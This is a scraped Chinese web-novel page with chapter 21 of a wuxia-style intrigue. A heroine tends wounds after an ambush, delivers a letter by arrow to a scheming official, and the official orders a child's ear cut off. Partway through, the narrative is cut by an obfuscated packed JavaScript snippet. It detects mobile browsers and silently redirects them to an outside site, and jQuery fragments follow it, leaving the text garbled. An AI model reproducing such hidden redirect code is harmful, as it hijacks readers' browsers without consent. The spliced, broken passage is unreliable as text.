默认冷灰
24号文字
方正启体

21. 送信

作者:雁南台北本书字数:K更新时间:
    也许是不想把事情闹大,那些人一见官兵来了,也不恋战,转身便跑。


    眼瞧人都要跑完了,颜斐来不及扶起花醉州,只好跨步翻身,立在距他最近的一个黑衣人眼前。


    那人没有防备,却也知道自己跑不了了,舌头一挑,颜斐就掐住他的下颌,直接卸了下巴,还顺手点了个穴,让人动弹不得。


    “小爷面前还想咬破毒药?做梦。”


    然后拖着他的后衣领,指着肖寻岳靠着的树干,朝衙差说:“麻烦各位大哥把人抬回去,哦对了,县令在那边!”


    杜弋刚从大牢回来,就看见肖寻岳被人抬着从后山回来。


    “县令可有事?”杜弋揪住队伍末尾的颜斐,问道。


    颜斐冷不丁被拽的往后一仰,差点摔倒:“哎呦我,县令没事!但是你再揪着我,保不齐有事儿呢!”


    杜弋手猛地一松,冷冰冰丢下一句话:“治不好,唯你是问。”


    正打算走,被人搀扶着的花醉州手动了动:“等等……县尉……”


    杜弋脚步一顿,转过身。


    “何事。”


    花醉州喘口气,指着被五花大绑架在木棍上的黑衣人:“这是今晚……行刺于我的凶手,有劳县尉。”


    杜弋看了看昏迷的肖寻岳,和满身伤却无大碍的花醉州,这花醉州是在说谎,还是她武功真的这般高?


    “多谢,我先将其下狱,等明日县令醒了,再行决断。”杜弋拱拱手,不动声色压下疑心。


    “哎呀行了,别说了,伤的这么重还一直说说说,我才十三岁,成天跟个管家似的,累死我了……”


    颜斐推着人进了后院廨舍,关门之前还特意和杜弋道了声谢:“多谢县尉今日出手相助。”


    杜弋点点头,表示接受了,却没说话,提着杀手转身便走。


    颜斐撇撇嘴,倒也没在意,谁让人家就是块冰呢。


    进了门,颜斐扒拉开花醉州捂着伤口的手:“师姑,快,我先给你看看。”


    花醉州拦住他的手:“我只是体力透支了,这些都是皮外伤,我能自己包扎,你还是先看看他。”


    毕竟他明早还有安排,若是耽误正事就不好了。


    颜斐手一顿,认命般的叹口气,给她端来药和纱布:“得得得。”


    肖寻岳伤在后背,伤势不重,也不触及心脉,颜斐手搭在他的腕间,蹙着眉,一副高深莫测的样子。


    花醉州有些急:“到底如何?你快说啊!”


    “哎呦师姑,安心啦!就是中了软筋散而已,”颜斐一边剪开他后背的衣服,一边发出疑问,“这杀手,是想活捉他吗?”


    花醉州看着床榻上安睡的人:“我也不知道。”


    “杀手是什么人啊?”颜斐看着肖寻岳左背那块血红的伤口,这扔三寸刃的人怕是用了全力,这都镶嵌进皮肉了。


    “曲水段家。”


    “段家?!”颜斐偏头看花醉州一眼,“不对啊,既然是段家人,不应该挑衅师姑你吗?”


    按理说,段家人和他们闻家人一直针锋相对,哪怕是江湖武举之时,两家人见了面都鼻子不是鼻子,眼睛不是眼睛的,伤朝廷命官干什么。


    “所以我才让你留个活口。”


    “合着县令自己也不知道啊?”


    “嗯。”花醉州撸起袖子,撒上药粉,刚触及伤口便是一阵灼烧感。


    “嘶!”怎么这么疼!花醉州手一抖,差点洒出半瓶,停下手缓了缓,忍着疼咬住纱布,头往后仰,手一扯,在胳膊上系紧。


    “哎呦,那这心可真大。”颜斐一心看着肖寻岳的伤势,没注意花醉州那微弱的吸气声。


    颜斐拿起镊子,拨开一小块皮肉,肖寻岳闭着眼,闷哼一声,手指抓紧床褥,力道大的差点将其撕裂。


    “忍着点啊县令,这三寸刃太深了,我马上就拔出来了。”颜斐一边安抚,一边迅速下手,用钩针快准狠地勾出那片刃,然后扔到一旁桌上。


    花醉州放下袖子,这才问道:“明早卯时之前,他能醒过来吗?”


    颜斐一边吹着伤口,一边撒上金疮药:“这就得看县令平日都是几时醒了,软筋散好解。”


    花醉州这才松口气:“这就好。”


    明日一早,他若不起,她就把他揪起来。


    说罢,披上夜行衣,伸手捞起桌上的剑,推门便要出去。


    “哎,师姑,这么晚了你去哪啊?”


    身上的伤还没好全呢,又折腾啥?


    花醉州站在门口,头也没回,颇有几分大侠之风:“送个信而已。”


    颜斐蹲在床边,眼里闪烁着莫名激动的神色,这才是真正的大侠啊!


    他决定了,他这次要把那些话本子全扔了!


    *


    曲塘县衙外有一大片林子,因着都是百姓种来砍去换钱的,所以种类杂,纵使十月末,远远瞧着也是郁郁葱葱的。


    昨晚和肖寻岳吵了一架,今早他就派人去外面查了一番,据衙差来报,说是并无埋伏的痕迹。


    花醉州躲在树上,瞧着土路上那些深深浅浅的脚印,还有乱七八糟折断在地上的树枝,断面整齐,一看就是刀割的,不是斧头砍的。


    这些官兵,都是吃干饭的吗?这么明显的埋伏痕迹,居然还能睁眼说瞎话。


    怕不是在城墙外蹲了一个时辰。


    花醉州一路朝北走,凭着记忆摸到那座驿站,这驿站还算显眼,原本三面都是树,看着像是要隐匿其中似的,那招牌和门却明晃晃的露在外面。


    说来冯知福这人也真是奇怪,明明县里有更好的官驿,偏偏住这么阴森的地方。


    真是瘆得慌。


    客栈外面没有一个人,甚至没有马,只有两个大红灯笼。


    花醉州凑近院墙,下蹲起跳,一不小心扯到了腰侧那伤,疼的她倒吸一口凉气,但事情耽搁不得,稍缓了缓,蹬着墙攀上围墙。


    院里站着一群穿戴齐整的官兵,却无一人举火把,就那样呆站在夜色里。


    若是进院,动静必然不小,但这么多人,她一个人又不能正面对抗,只能另行他法。


    花醉州趴在上面露出头,环视一圈,幸而今夜夜色算好,后院看守比之前院要少很多。


    不过,她虽然不知道冯知福在哪间房,但这客栈,指向也太明显了吧?


    偌大一座客栈,唯有二楼左上房亮着灯。


    真是哪里都透着诡异,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449775|201146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    风呼啸着,鬼哭狼嚎,唯一亮着灯的房间也忽闪忽闪,似乎下一刻就要熄灯似的。


    花醉州蹬着墙,慢慢往下滑,猫着腰走到后院攀上院墙,往下一瞄,有六个人,都呆愣愣的,也不四处巡视,只知道盯着前方。


    六个人,如果只是打晕,应该还是能做到的,花醉州小心翼翼往上爬,伸出右腿勾住院墙,横着趴在上面,手心撑着一转,便轻声落在几人身后。


    却不小心踩了片枯叶,清脆的“咔嚓”一声,几人缓缓扭头,花醉州顾不得身上疼痛的伤口,趁着还未转过来,快步上前,几个手刀下去,六人便纷纷倒地。


    “呼。”花醉州小心拍了拍胸口,吓死她了。


    这地方处处诡异,花醉州心里发毛,只怕有埋伏,加之又受了伤,不欲多待,便借力攀上二楼房檐,另一手抓紧窗棂。


    距离有点远,不方便戳破窗纸,只隐隐约约能看到房内似乎只有冯知福一人,奇怪,他那个义子呢?


    不侍奉在义父身边……


    不好!


    电光石火间,花醉州突然有了一个不好的猜测,既然冯季怀就是昨晚那个黑衣人,不在这里,莫非是又行动了?!


    只是,她一时竟想不到他的目标可能是谁,花醉州思索着,脑子里慢慢浮现出一个人。


    对,她可以回去找杜弋,现在还是先送信要紧。


    花醉州慢慢放开抓着房檐的手,站稳在窗外,反手抽出一支箭,然后从怀里掏出肖寻岳给她的信,系在箭上,拉开弓弦,瞄准床榻边沿。


    刚把箭射出去,花醉州耳朵一动,南边的方向,远远传来踩踏树枝的声音。


    这么晚了,莫非,是冯季怀?


    *


    “嘶啊,舒坦。”


    城外驿站,冯知福躺在榻上,腿弯放在榻边垂下小腿,两只脚泡在生姜紫苏养生水里,上面还铺了满满一层花瓣。


    “峥——”


    正闭眼享受着,冯知福小腿突的一凉,一只箭擦着卷起的裤腿插在床沿,箭尾还不住回弹着。


    冯知福噌的睁开眼,胳膊肘撑在床上,费了好大劲儿才从床上卷起来。


    箭尖绑着一张纸条,冯知福取下一看,只有九个字:“明早卯时,不酣楼一叙。”


    不是他所想之人的字迹,落款却为商。


    商?


    冯知福眯起眼,这肖寻岳是何意,他今日说的不明白吗?


    正思索着,窗户一响。


    冯季怀穿着夜行衣,从窗外跳进来,单膝跪下拱手道:“义父,儿子已查明,那小孩名叫阿良,是宋津臣取的名字,平日都叫肖寻岳大兄,和花醉州倒是没什么关系。”


    “哦?宋津臣,肖寻岳,”他念叨着两个人的名字,“这倒是一个意外之喜。”


    冯知福脸上肉挤肉,一笑更显拥挤。


    “义父,”冯季怀眼神狠厉,伸手做了个抹脖子的动作,“要动手吗?”


    “哎,”冯知福翘着兰花指,制止道。


    “季怀,不要这般残忍,毕竟是个小孩子啊。”


    他声音渐渐放轻,用着气音,像是生怕被人听到似的:“你去把他抓起来,割掉一只耳朵。”


    “是。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)